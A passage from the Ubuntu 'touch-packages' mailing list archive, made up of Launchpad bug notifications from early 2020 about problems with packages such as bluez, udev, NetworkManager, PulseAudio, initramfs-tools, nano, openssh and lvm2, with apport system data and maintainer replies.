  2) Assure that your computer has bluetooth

  3) Install impress remote on an android handset (either from the play
  store of via fdroid)

  4) Assure that "remote control" is enabled in impress
  Tools>Options>Impress>General

  5) Pair the bluetooth adapters in the laptop and in the computer

  6) Open a presentation on the laptop

  7) Open the remote on the handset, got to the bluetooth pane see the
  computer there, touch it

  8) See the impress remote erroring out

  Most likely you will also get a bluetooth error on dmesg

  RFCOMM server failed for LibreOffice Impress Remote: rfcomm_bind:
  Address already in use (98)

  Same issue was reported for fedora

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: bluez 5.48-0ubuntu3.1
  ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18
  Uname: Linux 4.15.0-36-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.4
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Wed Oct 17 16:57:29 2018
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2013-12-12 (1769 days ago)
  InstallationMedia: Kubuntu 13.10 "Saucy Salamander" - Release amd64 
(20131016.1)
  InterestingModules: rfcomm bnep btusb bluetooth
  MachineType: Notebook W740SU
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-36-generic 
root=/dev/mapper/zagar_ssd--vg-root ro quiet splash 
resume=/dev/zagar_ssd-vg/swap_1 acpi_backlight=vendor vt.handoff=1
  SourcePackage: bluez
  UpgradeStatus: Upgraded to bionic on 2018-06-08 (131 days ago)
  dmi.bios.date: 10/02/2013
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 4.6.5
  dmi.board.asset.tag: Tag 12345
  dmi.board.name: W740SU
  dmi.board.vendor: Notebook
  dmi.board.version: Not Applicable
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 9
  dmi.chassis.vendor: Notebook
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr4.6.5:bd10/02/2013:svnNotebook:pnW740SU:pvrNotApplicable:rvnNotebook:rnW740SU:rvrNotApplicable:cvnNotebook:ct9:cvrN/A:
  dmi.product.family: Not Applicable
  dmi.product.name: W740SU
  dmi.product.version: Not Applicable
  dmi.sys.vendor: Notebook
  hciconfig:
   hci0:Type: Primary  Bus: USB
BD Address: 00:C2:C6:1A:28:71  ACL MTU: 310:10  SCO MTU: 64:8
UP RUNNING PSCAN ISCAN 
RX bytes:245088 acl:15156 sco:0 events:1266 errors:0
TX bytes:15571 acl:402 sco:1 commands:131 errors:0

To manage notifications about this bug go to:
https://bugs.launchpad.net/df-libreoffice/+bug/1798400/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858635] Re: package udev 237-3ubuntu10 failed to install/upgrade: unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad m

2020-01-07 Thread Apport retracing service
** Tags removed: need-duplicate-check

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1858635

Title:
  package udev 237-3ubuntu10 failed to install/upgrade: unable to make
  backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before
  installing new version: Bad message

Status in systemd package in Ubuntu:
  New

Bug description:
  i dont know much aboiut qhat happened since im new to this whole thing

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: udev 237-3ubuntu10
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CasperVersion: 1.394
  Date: Tue Jan  7 03:53:37 2020
  DuplicateSignature:
   package:udev:237-3ubuntu10
   Unpacking udev (237-3ubuntu10.33) over (237-3ubuntu10) ...
   dpkg: error processing archive 
/tmp/apt-dpkg-install-h0PZ8X/1-udev_237-3ubuntu10.33_amd64.deb (--unpack):
unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' 
before installing new version: Bad message
  ErrorMessage: unable to make backup link of 
'./lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad 
message
  LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: Dell Inc. Latitude E5550
  ProcKernelCmdLine: BOOT_IMAGE=(hd0,4)/casper/vmlinuz boot=casper quiet splash 
toram persistent --
  Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3
  PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2.3
   apt  1.6.1
  SourcePackage: systemd
  Title: package udev 237-3ubuntu10 failed to install/upgrade: unable to make 
backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing 
new version: Bad message
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/30/2014
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A03
  dmi.board.name: 0DG7XK
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA03:bd10/30/2014:svnDellInc.:pnLatitudeE5550:pvr01:rvnDellInc.:rn0DG7XK:rvrA00:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude E5550
  dmi.product.version: 01
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1858635/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858635] [NEW] package udev 237-3ubuntu10 failed to install/upgrade: unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad

2020-01-07 Thread Dylan Zimmerman
Public bug reported:

i dont know much aboiut qhat happened since im new to this whole thing

ProblemType: Package
DistroRelease: Ubuntu 18.04
Package: udev 237-3ubuntu10
ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
Uname: Linux 4.15.0-20-generic x86_64
ApportVersion: 2.20.9-0ubuntu7
Architecture: amd64
CasperVersion: 1.394
Date: Tue Jan  7 03:53:37 2020
DuplicateSignature:
 package:udev:237-3ubuntu10
 Unpacking udev (237-3ubuntu10.33) over (237-3ubuntu10) ...
 dpkg: error processing archive 
/tmp/apt-dpkg-install-h0PZ8X/1-udev_237-3ubuntu10.33_amd64.deb (--unpack):
  unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' 
before installing new version: Bad message
ErrorMessage: unable to make backup link of 
'./lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad 
message
LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
MachineType: Dell Inc. Latitude E5550
ProcKernelCmdLine: BOOT_IMAGE=(hd0,4)/casper/vmlinuz boot=casper quiet splash 
toram persistent --
Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3
PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 
2.7.15~rc1-1
RelatedPackageVersions:
 dpkg 1.19.0.5ubuntu2.3
 apt  1.6.1
SourcePackage: systemd
Title: package udev 237-3ubuntu10 failed to install/upgrade: unable to make 
backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing 
new version: Bad message
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 10/30/2014
dmi.bios.vendor: Dell Inc.
dmi.bios.version: A03
dmi.board.name: 0DG7XK
dmi.board.vendor: Dell Inc.
dmi.board.version: A00
dmi.chassis.type: 9
dmi.chassis.vendor: Dell Inc.
dmi.modalias: 
dmi:bvnDellInc.:bvrA03:bd10/30/2014:svnDellInc.:pnLatitudeE5550:pvr01:rvnDellInc.:rn0DG7XK:rvrA00:cvnDellInc.:ct9:cvr:
dmi.product.name: Latitude E5550
dmi.product.version: 01
dmi.sys.vendor: Dell Inc.

** Affects: systemd (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-package bionic

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1858635

Title:
  package udev 237-3ubuntu10 failed to install/upgrade: unable to make
  backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before
  installing new version: Bad message

Status in systemd package in Ubuntu:
  New

Bug description:
  i dont know much aboiut qhat happened since im new to this whole thing

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: udev 237-3ubuntu10
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CasperVersion: 1.394
  Date: Tue Jan  7 03:53:37 2020
  DuplicateSignature:
   package:udev:237-3ubuntu10
   Unpacking udev (237-3ubuntu10.33) over (237-3ubuntu10) ...
   dpkg: error processing archive 
/tmp/apt-dpkg-install-h0PZ8X/1-udev_237-3ubuntu10.33_amd64.deb (--unpack):
unable to make backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' 
before installing new version: Bad message
  ErrorMessage: unable to make backup link of 
'./lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing new version: Bad 
message
  LiveMediaBuild: Lubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  MachineType: Dell Inc. Latitude E5550
  ProcKernelCmdLine: BOOT_IMAGE=(hd0,4)/casper/vmlinuz boot=casper quiet splash 
toram persistent --
  Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3
  PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2.3
   apt  1.6.1
  SourcePackage: systemd
  Title: package udev 237-3ubuntu10 failed to install/upgrade: unable to make 
backup link of './lib/udev/hwdb.d/20-pci-vendor-model.hwdb' before installing 
new version: Bad message
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/30/2014
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A03
  dmi.board.name: 0DG7XK
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 9
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvrA03:bd10/30/2014:svnDellInc.:pnLatitudeE5550:pvr01:rvnDellInc.:rn0DG7XK:rvrA00:cvnDellInc.:ct9:cvr:
  dmi.product.name: Latitude E5550
  dmi.product.version: 01
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1858635/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858092] Re: Network Manager not saving OpenVPN password

2020-01-07 Thread Jose Manuel Santamaria Lema
** Changed in: network-manager (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1858092

Title:
  Network Manager not saving OpenVPN password

Status in network-manager package in Ubuntu:
  Confirmed

Bug description:
  Hi everyone,

  After upgrading to kubuntu 19.10 I can't save the VPN password using Store 
password for this user only. It seems the integration with the kwallet is 
failing somehow...
  The system logs seem to show that everything went ok, but the password is not 
saved:
  jan 02 11:40:40 NetworkManager[5530]:  [1577965240.2166] audit: 
op="connection-update" uuid="4c05-911a-1d9161f05a19" name="ovpn" 
args="vpn.secrets" pid=14142 uid=1000 result="success"

  This also happens with a clean install.

  Operating System: Kubuntu 19.10
  KDE Plasma Version: 5.16.5
  KDE Frameworks Version: 5.62.0
  Qt Version: 5.12.4
  Kernel Version: 5.3.0-24-generic
  OS Type: 64-bit

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1858092/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1847570] Re: PulseAudio automatically switches to HDMI sound output on login

2020-01-07 Thread Bug Watch Updater
** Changed in: pulseaudio
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1847570

Title:
  PulseAudio automatically switches to HDMI sound output on login

Status in PulseAudio:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Released
Status in pulseaudio source package in Eoan:
  Fix Committed
Status in pulseaudio source package in Focal:
  Fix Released

Bug description:
  [Impact]

  On my freshly installed eoan system I have two output devices:
  - HDMI/DisplayPort 2 - GK208 ...
  - Line Out - Family 17h ...

  When I login into the system pulseaudio always select the "wrong"
  one (HDMI) and I need to go to gnome-settings/Sound/Output Device
  and switch to "line out". This applies to every login/logout not
  just reboots.

  [Test Case]

  0. Plug in a monitor that supports HDMI audio (one that appears in
  your Settings>Sound)

  1. Log out and in again.

  Verify the default audio device in Settings is still speakers or
  headphones. Not the monitor's HDMI audio device.

  [Regression Potential]

  Low. The fix proposed just reverts to the same code used in PulseAudio
  12 and earlier. It has also been released and verified on focal
  already.

  [Workaround]

  Comment out:

  load-module module-switch-on-port-available
  load-module module-switch-on-connect

  from /etc/pulse/default.pa

To manage notifications about this bug go to:
https://bugs.launchpad.net/pulseaudio/+bug/1847570/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858631] Re: package linux-image-extra-4.4.0-92-generic 4.4.0-92.115 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 1

2020-01-07 Thread Apport retracing service
** Package changed: ubuntu => initramfs-tools (Ubuntu)

** Tags removed: need-duplicate-check

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1858631

Title:
  package linux-image-extra-4.4.0-92-generic 4.4.0-92.115 failed to
  install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools
  exited with return code 1

Status in initramfs-tools package in Ubuntu:
  New

Bug description:
  cannot boot after upgrade 
  now using previous kernel (4.4.0-91)

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-extra-4.4.0-92-generic 4.4.0-92.115
  ProcVersionSignature: Ubuntu 4.4.0-91.114-generic 4.4.76
  Uname: Linux 4.4.0-91-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  erbe01 1836 F pulseaudio
gdm2094 F pulseaudio
   /dev/snd/controlC1:  erbe01 1836 F pulseaudio
gdm2094 F pulseaudio
  Date: Tue Jan  7 15:09:54 2020
  ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
  HibernationDevice: RESUME=/dev/mapper/EC--WEB01--vg-swap_1
  MachineType: Dell Inc. Vostro 3650
  ProcFB:
   0 inteldrmfb
   1 nouveaufb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-91-generic 
root=/dev/mapper/EC--WEB01--vg-root ro quiet splash
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.23
  SourcePackage: initramfs-tools
  Title: package linux-image-extra-4.4.0-92-generic 4.4.0-92.115 failed to 
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/17/2016
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 3.2.4
  dmi.board.name: 0VGHXY
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A01
  dmi.chassis.type: 3
  dmi.chassis.vendor: Dell Inc.
  dmi.chassis.version: Not Specified
  dmi.modalias: 
dmi:bvnDellInc.:bvr3.2.4:bd06/17/2016:svnDellInc.:pnVostro3650:pvrX00:rvnDellInc.:rn0VGHXY:rvrA01:cvnDellInc.:ct3:cvrNotSpecified:
  dmi.product.name: Vostro 3650
  dmi.product.version: X00
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1858631/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858631] [NEW] package linux-image-extra-4.4.0-92-generic 4.4.0-92.115 failed to install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with return code 1

2020-01-07 Thread Launchpad Bug Tracker
You have been subscribed to a public bug:

cannot boot after upgrade 
now using previous kernel (4.4.0-91)

ProblemType: Package
DistroRelease: Ubuntu 16.04
Package: linux-image-extra-4.4.0-92-generic 4.4.0-92.115
ProcVersionSignature: Ubuntu 4.4.0-91.114-generic 4.4.76
Uname: Linux 4.4.0-91-generic x86_64
ApportVersion: 2.20.1-0ubuntu2.10
Architecture: amd64
AudioDevicesInUse:
 USERPID ACCESS COMMAND
 /dev/snd/controlC0:  erbe01 1836 F pulseaudio
  gdm2094 F pulseaudio
 /dev/snd/controlC1:  erbe01 1836 F pulseaudio
  gdm2094 F pulseaudio
Date: Tue Jan  7 15:09:54 2020
ErrorMessage: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
HibernationDevice: RESUME=/dev/mapper/EC--WEB01--vg-swap_1
MachineType: Dell Inc. Vostro 3650
ProcFB:
 0 inteldrmfb
 1 nouveaufb
ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-91-generic 
root=/dev/mapper/EC--WEB01--vg-root ro quiet splash
PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.23
SourcePackage: initramfs-tools
Title: package linux-image-extra-4.4.0-92-generic 4.4.0-92.115 failed to 
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 06/17/2016
dmi.bios.vendor: Dell Inc.
dmi.bios.version: 3.2.4
dmi.board.name: 0VGHXY
dmi.board.vendor: Dell Inc.
dmi.board.version: A01
dmi.chassis.type: 3
dmi.chassis.vendor: Dell Inc.
dmi.chassis.version: Not Specified
dmi.modalias: 
dmi:bvnDellInc.:bvr3.2.4:bd06/17/2016:svnDellInc.:pnVostro3650:pvrX00:rvnDellInc.:rn0VGHXY:rvrA01:cvnDellInc.:ct3:cvrNotSpecified:
dmi.product.name: Vostro 3650
dmi.product.version: X00
dmi.sys.vendor: Dell Inc.

** Affects: initramfs-tools (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-package need-duplicate-check xenial
-- 
package linux-image-extra-4.4.0-92-generic 4.4.0-92.115 failed to 
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with 
return code 1
https://bugs.launchpad.net/bugs/1858631
You received this bug notification because you are a member of Ubuntu Touch 
seeded packages, which is subscribed to initramfs-tools in Ubuntu.

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858293] Re: Missing repeated characters

2020-01-07 Thread Benno Schulenberg
Thanks for confirming that the problem was caused by using an older
Putty.

** Summary changed:

- Missing repeated characters
+ Missing repeated characters when using old Putty  [resolved]

** Changed in: nano (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to nano in Ubuntu.
https://bugs.launchpad.net/bugs/1858293

Title:
  Missing repeated characters when using old Putty  [resolved]

Status in nano package in Ubuntu:
  Invalid

Bug description:
  Nano 2.9.3
   Ubuntu 18.04.3 LTS - Linux 4.14.157-171 armv7l
   ARMv7 Processor rev 3 (v7l)

   Ubuntu 18.04.3 LTS - Linux 4.9.196-63 aarch64
  Amlogic S922X rev a (4 A73 + 2 A53)

  This issue is repeatable on more than 6 each different machines of the above 
configurations.
  I am using ssh via Putty to log in via terminal screen.
  I am using nano defaults. I have not changed anything nor do I open with any 
arguments. I use nano  and it's not associated with any extension. It 
behaves the same for all files, even no extension files.
  Nano is not changing the file, it's just not displaying correctly. The 
characters are there and they save properly, they're just not visible on the 
terminal screen.

  Using WinSCP presents no issues as I am using my local Windows text
  editor.

  If I use vi to view the file there are no problems.
  If I use cat to view the file there are no problems.
  If I use tail to view the file there are no problems

  I do not experience this issue on:
  Nano 2.5.3
  Ubuntu 16.04.6 LTS - Linux 4.14.5-92 armv7l
  ARMv7 Processor rev 3 (v7l)

  If I take any file that has repeat characters such as:
  
  -
  |||

  Nano 2.9.3 will not display all of the continuous repeat characters in
  the row. For example:

  Copy and paste  is displayed as:
  #   <-- But end of line is correct
  If I copy that line from the file in nano editor and paste it into another 
non nano editor I get:
  #
  as the paste result

  This is the same for all different repeated characters.
  If I keyboard type ## nano will display it until 
nano is closed and then the same file is reopened. Then it's same as above, one 
# but end of line is correct.

  Pasting:
  #   ++  ++  ++  ++
  #   ||  ||  ||  ||
  # >CLK->||>CLK->||>CLK->||>CLK->||>CLK->
  # >CS ->||>CS ->||>CS ->||>CS ->||>CS ->
  # >DIN->||>DIN->||>DIN->||>DIN->||>DIN->
  #   ||  ||  ||  ||
  #   ++  ++  ++  ++

  into nano results in displayed:
  # +-+  +-+  +-+  +-+
  # | |  | |  | |  | |
  # >CLK->| |>CLK->| |>CLK->| |>CLK->| |>CLK->
  # >CS ->| |>CS ->| |>CS ->| |>CS ->| |>CS ->
  # >DIN->| |>DIN->| |>DIN->| |>DIN->| |>DIN->
  # | |  | |  | |  | |
  # +-+  +-+  +-+  +-+
  while nano is still open.
  Close the file and view in cat, vi or tail and it is show properly..

  Pasting:
  #   ++  ++  ++  ++
  #   ||  ||  ||  ||
  # >CLK->||>CLK->||>CLK->||>CLK->||>CLK->
  # >CS ->||>CS ->||>CS ->||>CS ->||>CS ->
  # >DIN->||>DIN->||>DIN->||>DIN->||>DIN->
  #   ||  ||  ||  ||
  #   ++  ++  ++  ++

  using vi editor
  then save file and open file in nano results in:
  # +-+  +-+  +-+  +-+
  # | |  | |  | |  | |
  # >CLK->| |>CLK->| |>CLK->| |>CLK->| |>CLK->
  # >CS ->| |>CS ->| |>CS ->| |>CS ->| |>CS ->
  # >DIN->| |>DIN->| |>DIN->| |>DIN->| |>DIN->
  # | |  | |  | |  | |
  # +-+  +-+  +-+  +-+

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nano/+bug/1858293/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1857820] Re: e-cal-recur: Ignores recurrence exceptions

2020-01-07 Thread Bug Watch Updater
** Changed in: evolution-data-server
   Status: Unknown => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to evolution-data-server in
Ubuntu.
https://bugs.launchpad.net/bugs/1857820

Title:
  e-cal-recur: Ignores recurrence exceptions

Status in evolution-data-server:
  Fix Released
Status in evolution-data-server package in Ubuntu:
  New

Bug description:
  Recurrence exceptions are no longer handled. That is, a recurring
  appointment is drawn on days that are supposed to be an exception to
  the recurrence rule. Imagine you have a meeting every Monday at 10 AM
  but the next meeting got cancelled. You want to remove the cancelled
  meeting from the calendar without removing all other past and future
  events. This is no longer possible with 3.34.1 due to a bug.

  This bug is known and fixed in upstream 3.34.2 however Ubuntu must
  backport it to the 3.34.1 version shipped with eaon.

  This is one of multiple upstream bug reports for this:
  https://gitlab.gnome.org/GNOME/evolution-data-server/issues/162

  This is the patch for 3.34.x: https://gitlab.gnome.org/GNOME
  /evolution-data-server/commit/795a6f9f687122f6ce0bcfbf2c45bcd4a33f30a2

  
  (There is a separate patch for 3.35.x but I assume this is not relevant for 
the current eaon version.)

To manage notifications about this bug go to:
https://bugs.launchpad.net/evolution-data-server/+bug/1857820/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858285] Re: SSH not honoring use of ~/.ssh/authorized_keys

2020-01-07 Thread Christian Ehrhardt 
>From man ssh:
 -i identity_file
  Selects a file from which the identity (private key) for public key 
authentication is read.  The default is ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, 
~/.ssh/id_ed25519 and ~/.ssh/id_rsa.  Identity files may also be specified on a 
per-host basis in the configuration file. It is possible to have multiple -i 
options (and multiple identities specified in configuration files).  If no 
certificates have been explicitly specified by the CertificateFile directive, 
ssh will also try to load certificate information from the filename obtained by 
appending -cert.pub to identity filenames.

Accodring to that the above reported behavior is correct.

I tried your case and found Fedora and Centos work the same way as Ubuntu.
Note: filename is id_rsa not id-rsa
Didn't work with "localhost" nor with a real hostname set in /etc/hosts


This doesn't seem "SSH not honoring use of ~/.ssh/authorized_keys" to me.
What you want seems to me more like "Try target hostname as -i argument 
~/.ssh/.pub" is that right?


You might also have an ssh-agent set up, that will pick up the key on first use 
and might try it.

Maybe you happen to have that in your own ssh config?
What you (seem to) want can be achieved by this entry in /etc/ssh/ssh_config:
   IdentityFile ~/.ssh/%h
But that would just be a local config and not a bug.
It might be discussed as default config, but people don't want to use keys by 
default too easily.
All tested systems have no difference in their default configs in regard to 
IdentityFile.
Do the systems that you report as working better have anything in 
/etc/ssh/ssh_config for it?

** Changed in: openssh (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1858285

Title:
  SSH not honoring use of ~/.ssh/authorized_keys

Status in openssh package in Ubuntu:
  Incomplete

Bug description:
  Have tested this successfully on other distros, used the same steps to
  updating /etc/ssh/sshd_config but SSH will not honor the use of
  ~/.ssh/authorized_keys.

  Simple test

  mkdir -m 700 ~/.ssh
  cd ~/.ssh
  ssh-keygen -t rsa -b 4096
  press enter to accept the defaults and empty passphrase
  cp id_rsa.pub authorized_keys

  ssh localhost /bin/date
  works

  mv id-rsa $(hostname -s)
  mv id-rsa.pub $(hostname -s).pub
  ssh localhost /bin/date
  **fails.  this works on CentOS, RHEL

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: openssh-server 1:8.0p1-6build1
  ProcVersionSignature: Ubuntu 5.3.0-1014.16-raspi2 5.3.10
  Uname: Linux 5.3.0-1014-raspi2 aarch64
  ApportVersion: 2.20.11-0ubuntu8.2
  Architecture: arm64
  Date: Sat Jan  4 12:42:58 2020
  ExecutablePath: /usr/sbin/sshd
  ProcEnviron:
   LANG=C.UTF-8
   PATH=(custom, no user)
  SourcePackage: openssh
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/1858285/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1823307] Re: package lvm2 2.02.133-1ubuntu10 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1

2020-01-07 Thread Launchpad Bug Tracker
Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: lvm2 (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lvm2 in Ubuntu.
https://bugs.launchpad.net/bugs/1823307

Title:
  package lvm2 2.02.133-1ubuntu10 failed to install/upgrade: subprocess
  installed post-installation script returned error exit status 1

Status in lvm2 package in Ubuntu:
  Confirmed

Bug description:
  always a pop up coming to report a bug

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: lvm2 2.02.133-1ubuntu10
  ProcVersionSignature: Ubuntu 4.8.0-51.54~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-51-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  Date: Fri Apr  5 14:31:13 2019
  ErrorMessage: subprocess installed post-installation script returned error 
exit status 1
  InstallationDate: Installed on 2017-05-05 (700 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: lvm2
  Title: package lvm2 2.02.133-1ubuntu10 failed to install/upgrade: subprocess 
installed post-installation script returned error exit status 1
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
